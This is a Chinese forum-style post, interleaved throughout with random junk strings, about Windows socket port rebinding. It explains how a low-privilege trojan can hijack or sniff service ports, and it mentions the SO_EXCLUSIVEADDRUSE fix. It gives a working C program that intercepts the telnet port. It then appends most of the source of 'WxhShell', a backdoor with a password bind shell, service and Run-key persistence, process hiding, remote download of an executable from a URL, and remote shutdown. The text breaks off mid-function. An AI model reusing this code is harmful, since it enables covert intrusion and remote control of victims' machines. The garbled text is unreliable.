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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \ cmt'b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lt>"R! "x d\&{Ev9v saddr.sin_family = AF_INET; o}H7;v8H `F5iZWW1 saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8sb<$M$c #G2~#\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R!IODXP= IGz92&y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;v%Fw!b032 HnU; N S3J 这意味着什么?意味着可以进行如下的攻击: |hms'n0 5ZeE& vG2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m?cC 0(6 c ;_ T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C-!!1-Eq?: 5|S|S))_Q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Pqiw[ +a$ L1=+x^WQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 %xZYIYKf w@w(AFV9/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i}teY{pyc
s;V~dxAiv 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KW.*LoO v5STe` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9}p>=' q
SR\=:$ #include -4ityS
@ #include LVNq@,s #include 1OB,UU"S$ #include OUCLtn\ DWORD WINAPI ClientThread(LPVOID lpParam); 'p<lfT int main() YjaEKM8* { (B|4wR\ WORD wVersionRequested; T"7Ue DWORD ret; Hl`S\ WSADATA wsaData; tPu0r],`o BOOL val; &:1PF.)N SOCKADDR_IN saddr; '<!
b}1w0 SOCKADDR_IN scaddr; 4q sIJJ[. int err; x\taG.'zX SOCKET s; ct,B0(] SOCKET sc; X"_,#3Ko! int caddsize; gc``z9@Xg HANDLE mt; `o~dQb/k+ DWORD tid; iSDE6 wVersionRequested = MAKEWORD( 2, 2 );
*Ju$A err = WSAStartup( wVersionRequested, &wsaData ); K.3)m]dCl if ( err != 0 ) { WJH-~,u printf("error!WSAStartup failed!\n"); fZ8%Z
return -1; '
>a(| } 8m%+O# saddr.sin_family = AF_INET; )I7~<$w
4C@ .X[r //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3ZdheenK9 b=nQi./f saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =`RogjbP saddr.sin_port = htons(23); #[ZF'9x if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ik[aiz { =!}n . printf("error!socket failed!\n"); Uedzt return -1; 7&oT}Z } 'Cw&9cL9w val = TRUE; (
R2432R}J //SO_REUSEADDR选项就是可以实现端口重绑定的 4n6EkTa if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /ZC/yGdIS_ { UcaLi& printf("error!setsockopt failed!\n"); qKoD*cl)Za return -1; }:JE*D| } ,H6*9!Dv2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u!kC+0Y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I*,!zym //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tBR"sBiws mqw5\7s ? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hf5yTs { 2.''Nt6| ret=GetLastError(); fL^+Qb} printf("error!bind failed!\n"); >q W_% return -1; $P<T`3Jg } dnRS$$9# listen(s,2); h#_KO-#.[ while(1) `re9-HM { *Uq1q caddsize = sizeof(scaddr); &T7|f!y //接受连接请求 =Xwr*FTr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p)_v.D3i if(sc!=INVALID_SOCKET) l#40VHa?S { tG!ApL mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qsv3`c if(mt==NULL) %N((p[\H { =&Dt+f& printf("Thread Creat Failed!\n"); "ecG\}R= break; -nBb -y } LjZvWts? } 4sU*UePr CloseHandle(mt); j?!BHNs } Kob i! closesocket(s); I~:v X^%9 WSACleanup(); rByC6HV" return 0; -e#~CE- }
pwj ? DWORD WINAPI ClientThread(LPVOID lpParam) w5j6RQml { *g0} pD;r SOCKET ss = (SOCKET)lpParam; Y&vn`# SOCKET sc; a4'KiA2r unsigned char buf[4096]; H{XbKLU SOCKADDR_IN saddr; BGk>:Z` long num; P''5A6#5 DWORD val; :.;pRz DWORD ret; 4J #F;#iA //如果是隐藏端口应用的话,可以在此处加一些判断 +y%"[6c| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 lrn3yDkR? saddr.sin_family = AF_INET; (~C_zG saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c!,&]*h"k saddr.sin_port = htons(23); '.Ww*N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aQ@9(j>
F { !_zp'V]? printf("error!socket failed!\n"); U)v['5% return -1; ~|W0+ &): } $!~R'N c val = 100; !Q-h#']~L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
VL^.7U { JCL+uEX4S ret = GetLastError(); h6Femis return -1; !v^{n+ } U<T.o0s= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N)F&c!anh { oJ
r&9.S ret = GetLastError(); M:%6$`` return -1; 8KxBN)fO; } 4r'QP .h if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1iS]n;xcl/ { +I>u${sVx* printf("error!socket connect failed!\n"); uc.dtq! closesocket(sc); HC%tJ:G closesocket(ss); hxwo<wEg return -1; RK7vR~kf< } wjJM\BKr` while(1) Z*AT &7 { GM1z@i\5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M
@|n"(P //如果是嗅探内容的话,可以再此处进行内容分析和记录 IJWUNKqo= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uL\b*rI num = recv(ss,buf,4096,0); jkTh)Bm|' if(num>0) Se0!-NUK0 send(sc,buf,num,0); 2kP0// else if(num==0) & XS2q0-x break; }6Ut7J]a| num = recv(sc,buf,4096,0); Z&f@)j if(num>0) O9+Dd%_KS# send(ss,buf,num,0); 3K8#,TK3 else if(num==0) -?jI{].:8 break; @W4tnM,# } .G ^-.p closesocket(ss); HDmjt+3&n closesocket(sc); {}sF?wZf return 0 ; GJu[af } <7U\@si4 2)iwAu
\&{a/e2:S ========================================================== :i{Svb*_' E{LLxGAEZ 下边附上一个代码,,WXhSHELL l** gM k-:wM`C ========================================================== q
<, b
11'^JmKA #include "stdafx.h" JAQ y d8)ps, #include <stdio.h> a#huK~$~ #include <string.h> >yZe1CP #include <windows.h> a Uy!(Y #include <winsock2.h> mJ_5Vt= #include <winsvc.h> tzTnFV #include <urlmon.h> 2HNAB4E >,Z[IAU.x5 #pragma comment (lib, "Ws2_32.lib") cEdf&*_-'I #pragma comment (lib, "urlmon.lib") uwL^Tq}Yh cuw 7P #define MAX_USER 100 // 最大客户端连接数 e9LP!"@EY #define BUF_SOCK 200 // sock buffer S'%|40U #define KEY_BUFF 255 // 输入 buffer -qbx:Kk( [NxC7p:Lo #define REBOOT 0 // 重启 BR*'SF\T #define SHUTDOWN 1 // 关机 K@f@vyw] d@0p<at>~ #define DEF_PORT 5000 // 监听端口 L:.z
FW, 3jI
rB% #define REG_LEN 16 // 注册表键长度 jkQ%b.a #define SVC_LEN 80 // NT服务名长度 y[D8r Fw f:\)oIW9Kk // 从dll定义API c\Z.V*o typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y94^mt- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?M/H{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |Ix{JP"Lk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3P.v#TEst bwC~ // wxhshell配置信息
&H4Y`xV^= struct WSCFG { Qm"&=< int ws_port; // 监听端口 hfJeVT-/v char ws_passstr[REG_LEN]; // 口令 ?rJe"TOIy int ws_autoins; // 安装标记, 1=yes 0=no 8t)?$j$ char ws_regname[REG_LEN]; // 注册表键名 @TQzF-%#7 char ws_svcname[REG_LEN]; // 服务名 o]@Mg5(8Q char ws_svcdisp[SVC_LEN]; // 服务显示名 Q)IL]S char ws_svcdesc[SVC_LEN]; // 服务描述信息 I[l8@!0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f} !Eu int ws_downexe; // 下载执行标记, 1=yes 0=no X([8TR char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" <hV%OrBz- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'vX:)ZD i /q^\g4J }; m8T< x> n9 %&HDl4 // default Wxhshell configuration 9n#lDL O struct WSCFG wscfg={DEF_PORT, *QGyF`Go{ "xuhuanlingzhe", HM]mOmL90N 1, R PB%6z$ "Wxhshell", t:O"t
G "Wxhshell", R<)^--n "WxhShell Service", 7'g{:dzS*3 "Wrsky Windows CmdShell Service", = pCO1<wR "Please Input Your Password: ", Wik8V 0( 1, W>o>Y$H " http://www.wrsky.com/wxhshell.exe", W{is 2s "Wxhshell.exe" }eK.\_t= }; +T/T \[ 1iJa j // 消息定义模块 &)$}Nk char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?;YymD_ char *msg_ws_prompt="\n\r? for help\n\r#>"; MS~+P' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; TPF5 ? char *msg_ws_ext="\n\rExit."; +V `* char *msg_ws_end="\n\rQuit."; l+UUv]:1 char *msg_ws_boot="\n\rReboot..."; T&q0TBT char *msg_ws_poff="\n\rShutdown..."; \3WQ<t)W char *msg_ws_down="\n\rSave to "; Wb%t6N? V{{Xz: char *msg_ws_err="\n\rErr!"; Pm/Rc char *msg_ws_ok="\n\rOK!"; ,+>JQ82 PC<[$~ char ExeFile[MAX_PATH]; s L=}d[ int nUser = 0; >]}c,4D( HANDLE handles[MAX_USER]; 1PUeU+ int OsIsNt; i",7<01 8W2oGL6 SERVICE_STATUS serviceStatus; /wX5>^ SERVICE_STATUS_HANDLE hServiceStatusHandle; 0,]m.)ws f.G"[p // 函数声明 Js'j}w int Install(void); tJvs
?eZ) int Uninstall(void); _'0C70 int DownloadFile(char *sURL, SOCKET wsh); NZL$#bRB int Boot(int flag); VK>Cf> void HideProc(void); (Zoopkxw int GetOsVer(void); $.F.xYS9IJ int Wxhshell(SOCKET wsl); aCF=Og void TalkWithClient(void *cs); g2%fla7r int CmdShell(SOCKET sock); KL\hV .6 int StartFromService(void); #oD; ?Mi int StartWxhshell(LPSTR lpCmdLine); $4:Se#nl a{@gzB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Db K(Rh_
K VOID WINAPI NTServiceHandler( DWORD fdwControl ); G@+R!IG ZZ324UuATX // 数据结构和表定义 ?J ,K[.z SERVICE_TABLE_ENTRY DispatchTable[] = oe*CZ { +A-z>T( {wscfg.ws_svcname, NTServiceMain}, #GuN.`__n, {NULL, NULL} 6qd?&.=r }; =mYwO=:D VC X^D)[- // 自我安装 =$-+~ int Install(void) f;=<$Y>i { ,92wW&2 char svExeFile[MAX_PATH]; Q#5~"C HKEY key; *6aIDFNl strcpy(svExeFile,ExeFile); \P;2s<6i\ jdX* // 如果是win9x系统,修改注册表设为自启动 85_Qb2<'r if(!OsIsNt) { (3? W)i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n.7-$1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >zo_ }A! RegCloseKey(key); rlQ=rNrG&E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )Ah 7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5ENEx RegCloseKey(key); 2GxkOch return 0; Z 5 Xis"j } 0=k } 1\Z/}FT } 2&zklXuo: else { (9Of,2]&E X$*]$Ge> // 如果是NT以上系统,安装为系统服务 ]@uuB\u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); * /^} if (schSCManager!=0) mRIBE9K+& { ;;K
~ SC_HANDLE schService = CreateService 97 k}{tG ( 7hhv/9L1 schSCManager, w/e?K4 wscfg.ws_svcname, x
c|1?AFj wscfg.ws_svcdisp, Vt(s4 SERVICE_ALL_ACCESS, `>&K=C? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k_`h (R SERVICE_AUTO_START, U&W/Nj SERVICE_ERROR_NORMAL, UaB2vuL*= svExeFile, j@R"AP}
NULL, #~ZaN;u NULL, @a i2A| NULL, bTMgEY NULL, 5KTPlqm0qF NULL LSrKi$ ); { u3giB if (schService!=0) \U>|^$4 #5 { G_`Ae%'h CloseServiceHandle(schService); ^B!()39R? CloseServiceHandle(schSCManager); _+OCI%=: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zi}jf25 strcat(svExeFile,wscfg.ws_svcname); iu.Jp92 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !j/54, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X0knM}5 RegCloseKey(key); LKBh{X0%( return 0; /vI"v4 } k8b5~A, } On0,#i= CloseServiceHandle(schSCManager); <;*w97n } [)?yH3 } ft1V1 c Q<Qd*v&- return 1; _p'u!.a?! } X>%li$9J. (>uA(#Z // 自我卸载 !JtM`x/yR int Uninstall(void) B,] AfH { 3oV2Ek<d HKEY key; =>XjChM yO`
|X if(!OsIsNt) { HWFLu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s Fx0 RegDeleteValue(key,wscfg.ws_regname); 9)>+r6t RegCloseKey(key); (7ujJ}#, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2(5/#$t RegDeleteValue(key,wscfg.ws_regname); Sx1|Oq] RegCloseKey(key); [ldBI3 return 0; QO:Z8{21So } [X7gP4 } ^VEaOKMr } dL~^C I else { KA>QW[HX ;Sfe.ky@6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BIEq(/- if (schSCManager!=0) 5,+fM6^V { `FwE^_9d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AH?[K,3 if (schService!=0) KquuM ]5S { 3WpQzuHPT if(DeleteService(schService)!=0) { 5uV_Pkb?8 CloseServiceHandle(schService); w'9!%mr CloseServiceHandle(schSCManager); 7\N }QP0"u return 0; Y`3\Z6KlV } [+L!c}# CloseServiceHandle(schService); RKZBI?@4 } <7! "8e CloseServiceHandle(schSCManager); ,w
f6gmh8 } $)$_}^.k } I+(
b!(H WcY $=\7 return 1; P)Rq\1: } HL-'\wtl Q5A,9ovNZ // 从指定url下载文件 G'`^U}9V\ int DownloadFile(char *sURL, SOCKET wsh) "gFw:t"VV { uAs!5h HRESULT hr; (b.4&P"0 char seps[]= "/"; UCj:]!P char *token; putRc??o; char *file; ui-]%~ char myURL[MAX_PATH]; ^CgN>-xZ?# char myFILE[MAX_PATH]; MS:,I? Dp4x\97O strcpy(myURL,sURL); uzT+, token=strtok(myURL,seps); L9oLdWa(C while(token!=NULL) 6&QOC9JW+7 { Lq2jXy5#n file=token; `q`ah_ token=strtok(NULL,seps); zG{jRth } i'.D=o vz)R84 GetCurrentDirectory(MAX_PATH,myFILE); {Us^4Xe strcat(myFILE, "\\"); B@S~v+Gr strcat(myFILE, file); |bhv7(_ send(wsh,myFILE,strlen(myFILE),0); &3J^z7kU send(wsh,"...",3,0); {jv+ JL"5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ohs`[U=%~ if(hr==S_OK) B`||4* return 0; ox_DEg7l else R"l6|9tmP return 1; B_D0yhh zeq")A } IVy<>xpt oW(EV4J" // 系统电源模块 6=qC/1,l int Boot(int flag) +
)z5ai0m { 2.N)N%@ HANDLE hToken; ?:&2iW7z TOKEN_PRIVILEGES tkp; [#YzU^^Ib e"*1l>g if(OsIsNt) { $:# :"
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w~:F? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6(x53y__ tkp.PrivilegeCount = 1; ;Qi!~VsP; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vxug>2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =qbN?a/?2 if(flag==REBOOT) { VFMn"bYOB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'p78^4'PL return 0; X&h?1lMJ / } PVIZ
Y^64 else { q[+h ~) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )wXE\$ return 0; ti$60Up } ;nJ2i?" } .C&kWM&j else { <lNNT6[/r if(flag==REBOOT) { $|7=$~y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X|/RV4x@Cq return 0; Ptcq/f } *&\6x}.I4 else { cr|]\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CU*TY1% return 0; ,0ilNi> } &5.J y2hO] } 3,`M\#z%K +0j{$MPZ return 1; Zy.A9Bh~ } N-t"CBTO
Q2)(tB= ) // win9x进程隐藏模块 IOF!Ra:w void HideProc(void) A:D9qp { ^FQn\, 3aBE[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /I1n${{5 if ( hKernel != NULL ) 'rS\9T { zb4{nzX= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j%D{z5,nKm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iq?T&44& FreeLibrary(hKernel); ~wF3$H.@; } $CJf 0[| cui%r!D return; 7ku=roPoF } x!vyjp v=+3AW-|v // 获取操作系统版本 {\NBNg(Vo int GetOsVer(void) I{ki))F { =
Ezg3$%- OSVERSIONINFO winfo; xK)<763q> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AAW] Y#UwW GetVersionEx(&winfo); lrwQ
>N if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]~VuY:abH return 1; -QR]BD%J*[ else Qx3eEt@X5] return 0; !`4ie } 1RX-`"^+ ,3c25.,* // 客户端句柄模块 /er{sKVX< int Wxhshell(SOCKET wsl) Q[aF"5h% { yPe9KN_ SOCKET wsh; ,fTC}>s4 struct sockaddr_in client; >mp Nn DWORD myID; m+:JNgX6 "EA =auN{ while(nUser<MAX_USER) %`K{0b { HmkxE int nSize=sizeof(client); x7G)^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7=yjd)Iy9m if(wsh==INVALID_SOCKET) return 1; w^^l, nd,\<}uP9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y<kz+d,C if(handles[nUser]==0) W(Md0* closesocket(wsh); :8`$BbV else B
u%%O8 nUser++; t#8QyN } ZMr[:,Jp WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EkRx/ LR!%iP return 0; =S6bP<q } 0UW_ Pbh6 .w _BA) // 关闭 socket NS""][# void CloseIt(SOCKET wsh) .Ln98#ZR { 64'QTF{D closesocket(wsh); =qoOr~ nUser--; zHg=K / ExitThread(0); 7HY8 F5Brx } Gd`7Tf)' YlT&.G // 客户端请求句柄 2TQZu3$c void TalkWithClient(void *cs) %X^qWKix}m { oR!h
eCnu lq]8zm<\)] SOCKET wsh=(SOCKET)cs; rZ5xQ#IA char pwd[SVC_LEN]; \,n
X/f char cmd[KEY_BUFF]; nUVk;0at char chr[1]; w-$iKtb. int i,j; V@s93kh ,)!%^~v while (nUser < MAX_USER) { ntB#2S ,quUGS if(wscfg.ws_passstr) { BFP@Yn~k if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {oF;ZM'r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vr"'O6 //ZeroMemory(pwd,KEY_BUFF); Y,yU460T8 i=0; s]`6uyW" while(i<SVC_LEN) { 2M\7j n@h$V\&\iM // 设置超时 `F1Yfm
jZT fd_set FdRead; yS:w>xU @< struct timeval TimeOut; :w
Y%= FD_ZERO(&FdRead); ahZ@4v FD_SET(wsh,&FdRead); lKU{jWA TimeOut.tv_sec=8; `#85r{c$: TimeOut.tv_usec=0; C+ Y;D: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z+EZ</'(a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |
2<zYY ;;rx)|\<R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^&y*=6C pwd =chr[0]; bivo7_ if(chr[0]==0xd || chr[0]==0xa) { GUM-|[~ pwd=0; J#4pA{01w break; \I/"W#\SJo } =jpRv<X|, i++; {iq^CHAVK } 1:M'|uc pFiE2V_aS // 如果是非法用户,关闭 socket bF*Kb"!CF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nRw.82eK. } 2XV|( @MFEBc} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aO ?KRn send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5T9[a $7xfLS8Vo while(1) { uh#E^~5S a #s
Nd ZeroMemory(cmd,KEY_BUFF); <;>k[P' [;
$:Lr // 自动支持客户端 telnet标准 I7SFGO j=0; OEzSItAI/[ while(j<KEY_BUFF) { xO%yjG= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >b#CR/^z cmd[j]=chr[0]; X}h}3+V if(chr[0]==0xa || chr[0]==0xd) { UUtSme cmd[j]=0; .wWf#bB break; 8@rF~^-_ }
.#a7?LUH j++; OI:=>Bk } 0$Zh4Y )@y'$)5s // 下载文件 NU{eoqaT if(strstr(cmd,"http://")) { 0pB'^Q{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); P@n
rcgM. if(DownloadFile(cmd,wsh)) \k6OP send(wsh,msg_ws_err,strlen(msg_ws_err),0); < 0S\P=\ else 'u%_Ab_H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iWUxB28 } 2\O!vp>|- else { =*6frC~ tBwPB#:W switch(cmd[0]) { DAtAc(05) |pU>^ // 帮助 p&`I#6{ case '?': { /Jc^XWf send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B=X_c5 break; l+`CgYo } ;
+Ie<oW // 安装 @8:c3(! case 'i': { =KnHa.% if(Install()) Q'ib7R;V, send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zw/??Tq b else K7(GdKZe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eISHV.QV break; AGVipI # } aK,\e/Oo // 卸载 m{lS-DlRg case 'r': { 6 {3q l: if(Uninstall()) @}+B%R send(wsh,msg_ws_err,strlen(msg_ws_err),0); -wNhbV2 else Spo[JQ%6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CJ#Yu3} break; #0#6eT{- } P;&U3i // 显示 wxhshell 所在路径 NX]6RZr- case 'p': { 3rX8H`R char svExeFile[MAX_PATH]; `@:k*d strcpy(svExeFile,"\n\r"); 9N) Ea:N strcat(svExeFile,ExeFile); C8:y+pH_U; send(wsh,svExeFile,strlen(svExeFile),0); )^E6VD&6 break; %6@m~;c0 } pf=CP%L // 重启 {gDoktC@M case 'b': { ^*~4[?]S send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *iPBpEWC if(Boot(REBOOT)) d+8|aS<A send(wsh,msg_ws_err,strlen(msg_ws_err),0); sP8_Y, else { |FFMQ" closesocket(wsh); RT9%E/m ExitThread(0); j2n
4; m } 3}.OSt'= break; Y[ ;Z7p } lgHzI( // 关机 .
vea[ case 'd': { -#AO4xpI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3[m~6Ys if(Boot(SHUTDOWN)) 4'`*Sce} send(wsh,msg_ws_err,strlen(msg_ws_err),0); b3-+*5L else { GMob&0l8_ closesocket(wsh); )f%Q7 ExitThread(0); S8]YS@@D } 5*$z4O:Aa break; [{+ZQd } &v+Hl^ // 获取shell cn_ *,\} case 's': { LQ"xm CmdShell(wsh); H.2aoZ-w closesocket(wsh); m W4tW ExitThread(0); 6~8dMy;w break; k~$}&O } H<`7){iG // 退出 L i`OaP$ case 'x': { F;Ubdxwwl send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `{S4_' CloseIt(wsh); k )fLJ9R break; #}'sknvM} } x^UAtKSy // 离开 `S=4cS H( case 'q': { S'AS,'EnY send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vjr}"K$Y closesocket(wsh); :HN\A4=kc( WSACleanup(); @'?7au '' exit(1); .[o?qCsw break; d1d:5b } kmsgaB7? } 8PW3x-+ } {=E,.%8 !f8]gT zN // 提示信息 4({Wipd if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ew8Manx } LBhDP5qF } HwZ@T &_4 Dt+uf5o( return; &-`a` } )/?s^D$, Pill |4 c< // shell模块句柄 jX91=78d int CmdShell(SOCKET sock) DYL \=ya1 { d7L|yeb" STARTUPINFO si; C;rK16cn ZeroMemory(&si,sizeof(si)); xo(3<1mD si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p/&s-GF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,6^V)F PROCESS_INFORMATION ProcessInfo; e&XJK*Wf char cmdline[]="cmd"; %0Ke4c CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T9Pu V return 0; ? `# } WLN;LT zB)wYKwZ // 自身启动模式 (
ESmP int StartFromService(void) \EeK<)4: { 7.1FRxS typedef struct )m$i``*<
{ C]%}L%, DWORD ExitStatus; o_%gFV[q DWORD PebBaseAddress; 'tzN.p1O DWORD AffinityMask; Q!}LtR$ DWORD BasePriority; hk+"c^g:j< ULONG UniqueProcessId; si>gYO ULONG InheritedFromUniqueProcessId; {DGnh1 } PROCESS_BASIC_INFORMATION; ]A dL 5B+I\f& PROCNTQSIP NtQueryInformationProcess; q#1CmKt4R zvP>8[
